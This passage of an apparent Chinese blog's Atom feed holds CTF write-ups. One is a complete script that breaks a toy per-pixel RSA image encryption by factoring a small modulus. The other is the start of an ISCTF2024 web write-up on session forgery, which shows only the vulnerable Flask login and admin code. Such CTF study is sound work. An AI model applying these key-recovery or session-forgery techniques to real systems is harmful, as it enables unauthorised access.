<span class="line">original_image_path <span class="token operator">=</span> <span class="token string">"flag.jpg"</span></span>
<span class="line">img <span class="token operator">=</span> Image<span class="token punctuation">.</span><span class="token builtin">open</span><span class="token punctuation">(</span>original_image_path<span class="token punctuation">)</span></span>
<span class="line">img <span class="token operator">=</span> img<span class="token punctuation">.</span>convert<span class="token punctuation">(</span><span class="token string">"RGB"</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">img_array <span class="token operator">=</span> np<span class="token punctuation">.</span>array<span class="token punctuation">(</span>img<span class="token punctuation">)</span></span>
<span class="line">h<span class="token punctuation">,</span> w<span class="token punctuation">,</span> _ <span class="token operator">=</span> img_array<span class="token punctuation">.</span>shape</span>
<span class="line"></span>
<span class="line">encrypted_array <span class="token operator">=</span> np<span class="token punctuation">.</span>zeros<span class="token punctuation">(</span><span class="token punctuation">(</span>h<span class="token punctuation">,</span> w<span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">,</span> dtype<span class="token operator">=</span><span class="token builtin">object</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>h<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token keyword">for</span> j <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>w<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">        r<span class="token punctuation">,</span> g<span class="token punctuation">,</span> b <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>img_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">int</span><span class="token punctuation">(</span>img_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">int</span><span class="token punctuation">(</span>img_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">        encrypted_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>r<span class="token punctuation">,</span> e<span class="token punctuation">,</span> n<span class="token punctuation">)</span></span>
<span class="line">        encrypted_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>g<span class="token punctuation">,</span> e<span class="token punctuation">,</span> n<span class="token punctuation">)</span></span>
<span class="line">        encrypted_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>b<span class="token punctuation">,</span> e<span class="token punctuation">,</span> n<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">np<span class="token punctuation">.</span>save<span class="token punctuation">(</span><span class="token string">"encrypted_image.npy"</span><span class="token punctuation">,</span> encrypted_array<span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"图片已加密并保存为 encrypted_image.npy"</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div>]]></summary>
    <content type="html"><![CDATA[<h3>原题</h3>
<div class="language-python line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="py" style="--vp-collapsed-lines:15;"><pre><code class="language-python"><span class="line"><span class="token keyword">from</span> PIL <span class="token keyword">import</span> Image</span>
<span class="line"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Util<span class="token punctuation">.</span>number <span class="token keyword">import</span> bytes_to_long<span class="token punctuation">,</span> long_to_bytes</span>
<span class="line"><span class="token keyword">import</span> numpy <span class="token keyword">as</span> np</span>
<span class="line"></span>
<span class="line">n <span class="token operator">=</span> <span class="token number">29869349657224745144762606999</span></span>
<span class="line">e <span class="token operator">=</span> <span class="token number">65537</span></span>
<span class="line"></span>
<span class="line">original_image_path <span class="token operator">=</span> <span class="token string">"flag.jpg"</span></span>
<span class="line">img <span class="token operator">=</span> Image<span class="token punctuation">.</span><span class="token builtin">open</span><span class="token punctuation">(</span>original_image_path<span class="token punctuation">)</span></span>
<span class="line">img <span class="token operator">=</span> img<span class="token punctuation">.</span>convert<span class="token punctuation">(</span><span class="token string">"RGB"</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">img_array <span class="token operator">=</span> np<span class="token punctuation">.</span>array<span class="token punctuation">(</span>img<span class="token punctuation">)</span></span>
<span class="line">h<span class="token punctuation">,</span> w<span class="token punctuation">,</span> _ <span class="token operator">=</span> img_array<span class="token punctuation">.</span>shape</span>
<span class="line"></span>
<span class="line">encrypted_array <span class="token operator">=</span> np<span class="token punctuation">.</span>zeros<span class="token punctuation">(</span><span class="token punctuation">(</span>h<span class="token punctuation">,</span> w<span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">,</span> dtype<span class="token operator">=</span><span class="token builtin">object</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>h<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token keyword">for</span> j <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>w<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">        r<span class="token punctuation">,</span> g<span class="token punctuation">,</span> b <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>img_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">int</span><span class="token punctuation">(</span>img_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">int</span><span class="token punctuation">(</span>img_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">        encrypted_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>r<span class="token punctuation">,</span> e<span class="token punctuation">,</span> n<span class="token punctuation">)</span></span>
<span class="line">        encrypted_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>g<span class="token punctuation">,</span> e<span class="token punctuation">,</span> n<span class="token punctuation">)</span></span>
<span class="line">        encrypted_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>b<span class="token punctuation">,</span> e<span class="token punctuation">,</span> n<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">np<span class="token punctuation">.</span>save<span class="token punctuation">(</span><span class="token string">"encrypted_image.npy"</span><span class="token punctuation">,</span> encrypted_array<span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"图片已加密并保存为 encrypted_image.npy"</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><h3>安装运行库</h3>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line">pip <span class="token function">install</span> pillow pycryptodome numpy sympy</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h3>代码分析</h3>
<p>这段代码使用 RSA 加密算法对图片的每个像素进行加密，并将加密后的数据保存为一个 NumPy 数组文件。</p>
<h3>计算私钥</h3>
<p>既然是 RSA，那么就需要分解<code>n</code>。所幸，这个<code>n</code>非常的短。</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">n <span class="token operator">=</span> <span class="token number">29869349657224745144762606999</span></span>
<span class="line">e <span class="token operator">=</span> <span class="token number">65537</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><p>那么我们可以直接将<code>p</code>和<code>q</code>给分解出来。</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">factors <span class="token operator">=</span> <span class="token builtin">list</span><span class="token punctuation">(</span>sympy<span class="token punctuation">.</span>factorint<span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">.</span>keys<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line">p<span class="token punctuation">,</span> q <span class="token operator">=</span> factors<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> factors<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><p>既然得到了<code>p</code>和<code>q</code>，我们可以把<code>φ(n)</code>求出来。</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">phi_n <span class="token operator">=</span> <span class="token punctuation">(</span>p <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token punctuation">(</span>q <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>然后计算得到私钥<code>d</code>.</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">d <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>e<span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span> phi_n<span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h3>解密图片</h3>
<p>我们读取 Numpy 数组，逆向加密代码将各个像素点解密。</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">encrypted_array <span class="token operator">=</span> np<span class="token punctuation">.</span>load<span class="token punctuation">(</span><span class="token string">"encrypted_image.npy"</span><span class="token punctuation">,</span> allow_pickle<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span></span>
<span class="line">h<span class="token punctuation">,</span> w<span class="token punctuation">,</span> _ <span class="token operator">=</span> encrypted_array<span class="token punctuation">.</span>shape</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">decrypted_array <span class="token operator">=</span> np<span class="token punctuation">.</span>zeros<span class="token punctuation">(</span><span class="token punctuation">(</span>h<span class="token punctuation">,</span> w<span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">,</span> dtype<span class="token operator">=</span>np<span class="token punctuation">.</span>uint8<span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>h<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token keyword">for</span> j <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>w<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">        r<span class="token punctuation">,</span> g<span class="token punctuation">,</span> b <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>encrypted_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">int</span><span class="token punctuation">(</span>encrypted_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">int</span><span class="token punctuation">(</span>encrypted_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">        decrypted_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>r<span class="token punctuation">,</span> d<span class="token punctuation">,</span> n<span class="token punctuation">)</span></span>
<span class="line">        decrypted_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>g<span class="token punctuation">,</span> d<span class="token punctuation">,</span> n<span class="token punctuation">)</span></span>
<span class="line">        decrypted_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>b<span class="token punctuation">,</span> d<span class="token punctuation">,</span> n<span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>然后将所有的数组转为图片并保存。</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">decrypted_img <span class="token operator">=</span> Image<span class="token punctuation">.</span>fromarray<span class="token punctuation">(</span>decrypted_array<span class="token punctuation">,</span> <span class="token string">'RGB'</span><span class="token punctuation">)</span></span>
<span class="line">decrypted_img<span class="token punctuation">.</span>save<span class="token punctuation">(</span><span class="token string">"decrypted_flag.jpg"</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><h3>完整代码实现</h3>
<div class="language-python line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="py" style="--vp-collapsed-lines:15;"><pre><code class="language-python"><span class="line"><span class="token keyword">from</span> PIL <span class="token keyword">import</span> Image</span>
<span class="line"><span class="token keyword">import</span> numpy <span class="token keyword">as</span> np</span>
<span class="line"><span class="token keyword">import</span> sympy</span>
<span class="line"></span>
<span class="line">n <span class="token operator">=</span> <span class="token number">29869349657224745144762606999</span></span>
<span class="line">e <span class="token operator">=</span> <span class="token number">65537</span></span>
<span class="line"></span>
<span class="line">factors <span class="token operator">=</span> <span class="token builtin">list</span><span class="token punctuation">(</span>sympy<span class="token punctuation">.</span>factorint<span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">.</span>keys<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line">p<span class="token punctuation">,</span> q <span class="token operator">=</span> factors<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> factors<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span></span>
<span class="line"></span>
<span class="line">phi_n <span class="token operator">=</span> <span class="token punctuation">(</span>p <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token punctuation">(</span>q <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">d <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>e<span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span> phi_n<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">encrypted_array <span class="token operator">=</span> np<span class="token punctuation">.</span>load<span class="token punctuation">(</span><span class="token string">"encrypted_image.npy"</span><span class="token punctuation">,</span> allow_pickle<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span></span>
<span class="line">h<span class="token punctuation">,</span> w<span class="token punctuation">,</span> _ <span class="token operator">=</span> encrypted_array<span class="token punctuation">.</span>shape</span>
<span class="line"></span>
<span class="line">decrypted_array <span class="token operator">=</span> np<span class="token punctuation">.</span>zeros<span class="token punctuation">(</span><span class="token punctuation">(</span>h<span class="token punctuation">,</span> w<span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">,</span> dtype<span class="token operator">=</span>np<span class="token punctuation">.</span>uint8<span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>h<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token keyword">for</span> j <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>w<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">        r<span class="token punctuation">,</span> g<span class="token punctuation">,</span> b <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>encrypted_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">int</span><span class="token punctuation">(</span>encrypted_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">int</span><span class="token punctuation">(</span>encrypted_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">        decrypted_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>r<span class="token punctuation">,</span> d<span class="token punctuation">,</span> n<span class="token punctuation">)</span></span>
<span class="line">        decrypted_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>g<span class="token punctuation">,</span> d<span class="token punctuation">,</span> n<span class="token punctuation">)</span></span>
<span class="line">        decrypted_array<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>b<span class="token punctuation">,</span> d<span class="token punctuation">,</span> n<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">decrypted_img <span class="token operator">=</span> Image<span class="token punctuation">.</span>fromarray<span class="token punctuation">(</span>decrypted_array<span class="token punctuation">,</span> <span class="token string">'RGB'</span><span class="token punctuation">)</span></span>
<span class="line">decrypted_img<span class="token punctuation">.</span>save<span class="token punctuation">(</span><span class="token string">"decrypted_flag.jpg"</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div>]]></content>
    <category term="CTF"/>
    <published>2024-12-10T08:55:12.000Z</published>
  </entry>
  <entry>
    <title type="text">session伪造 Python反序列化 远程Shell | ISCTF2024 | Web 新闻系统</title>
    <id>https://www.hestudio.net/posts/session-isctf2024.html</id>
    <link href="https://www.hestudio.net/posts/session-isctf2024.html"/>
    <updated>2024-12-10T14:18:03.000Z</updated>
    <summary type="html"><![CDATA[<p>分析代码，</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line"><span class="token decorator annotation punctuation">@app<span class="token punctuation">.</span>route</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> methods<span class="token operator">=</span><span class="token punctuation">[</span><span class="token string">"GET"</span><span class="token punctuation">,</span> <span class="token string">"POST"</span><span class="token punctuation">]</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">login</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token keyword">if</span> request<span class="token punctuation">.</span>method <span class="token operator">==</span> <span class="token string">"POST"</span><span class="token punctuation">:</span></span>
<span class="line">        username <span class="token operator">=</span> request<span class="token punctuation">.</span>form<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">'username'</span><span class="token punctuation">)</span></span>
<span class="line">        password <span class="token operator">=</span> request<span class="token punctuation">.</span>form<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">'password'</span><span class="token punctuation">)</span></span>
<span class="line">        <span class="token keyword">if</span> username <span class="token operator">==</span> <span class="token string">'test'</span> <span class="token keyword">and</span> password <span class="token operator">==</span> <span class="token string">'test111'</span><span class="token punctuation">:</span></span>
<span class="line">            session<span class="token punctuation">[</span><span class="token string">'username'</span><span class="token punctuation">]</span> <span class="token operator">=</span> username</span>
<span class="line">            session<span class="token punctuation">[</span><span class="token string">'password'</span><span class="token punctuation">]</span> <span class="token operator">=</span> password</span>
<span class="line">            session<span class="token punctuation">[</span><span class="token string">'status'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">'user'</span></span>
<span class="line">            <span class="token keyword">return</span> redirect<span class="token punctuation">(</span><span class="token string">'/news'</span><span class="token punctuation">)</span></span>
<span class="line">        <span class="token keyword">else</span><span class="token punctuation">:</span></span>
<span class="line">            session<span class="token punctuation">[</span><span class="token string">'login_error'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token boolean">True</span></span>
<span class="line">    <span class="token keyword">return</span> render_template<span class="token punctuation">(</span><span class="token string">"login.html"</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></summary>
    <content type="html"><![CDATA[<p>分析代码，</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line"><span class="token decorator annotation punctuation">@app<span class="token punctuation">.</span>route</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> methods<span class="token operator">=</span><span class="token punctuation">[</span><span class="token string">"GET"</span><span class="token punctuation">,</span> <span class="token string">"POST"</span><span class="token punctuation">]</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">login</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token keyword">if</span> request<span class="token punctuation">.</span>method <span class="token operator">==</span> <span class="token string">"POST"</span><span class="token punctuation">:</span></span>
<span class="line">        username <span class="token operator">=</span> request<span class="token punctuation">.</span>form<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">'username'</span><span class="token punctuation">)</span></span>
<span class="line">        password <span class="token operator">=</span> request<span class="token punctuation">.</span>form<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">'password'</span><span class="token punctuation">)</span></span>
<span class="line">        <span class="token keyword">if</span> username <span class="token operator">==</span> <span class="token string">'test'</span> <span class="token keyword">and</span> password <span class="token operator">==</span> <span class="token string">'test111'</span><span class="token punctuation">:</span></span>
<span class="line">            session<span class="token punctuation">[</span><span class="token string">'username'</span><span class="token punctuation">]</span> <span class="token operator">=</span> username</span>
<span class="line">            session<span class="token punctuation">[</span><span class="token string">'password'</span><span class="token punctuation">]</span> <span class="token operator">=</span> password</span>
<span class="line">            session<span class="token punctuation">[</span><span class="token string">'status'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">'user'</span></span>
<span class="line">            <span class="token keyword">return</span> redirect<span class="token punctuation">(</span><span class="token string">'/news'</span><span class="token punctuation">)</span></span>
<span class="line">        <span class="token keyword">else</span><span class="token punctuation">:</span></span>
<span class="line">            session<span class="token punctuation">[</span><span class="token string">'login_error'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token boolean">True</span></span>
<span class="line">    <span class="token keyword">return</span> render_template<span class="token punctuation">(</span><span class="token string">"login.html"</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line"><span class="token decorator annotation punctuation">@app<span class="token punctuation">.</span>route</span><span class="token punctuation">(</span><span class="token string">'/admin'</span><span class="token punctuation">,</span> methods<span class="token operator">=</span><span class="token punctuation">[</span><span class="token string">'GET'</span><span class="token punctuation">,</span> <span class="token string">'POST'</span><span class="token punctuation">]</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">admin</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token keyword">if</span> session<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">'status'</span><span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token string">'admin'</span> <span class="token keyword">or</span> session<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">'username'</span><span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token string">'admin'</span> <span class="token keyword">or</span> session<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">'password'</span><span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token string">'admin222'</span><span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">return</span> redirect<span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">)</span></span>
<span class="line">    news <span class="token operator">=</span> newslist<span class="token punctuation">.</span>news_list</span>
<span class="line">    <span class="token keyword">return</span> render_template<span class="token punctuation">(</span><span class="token string">"admin.html"</span><span class="token punctuation">,</span> news<span class="token operator">=</span>news<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"></span></code></pre>
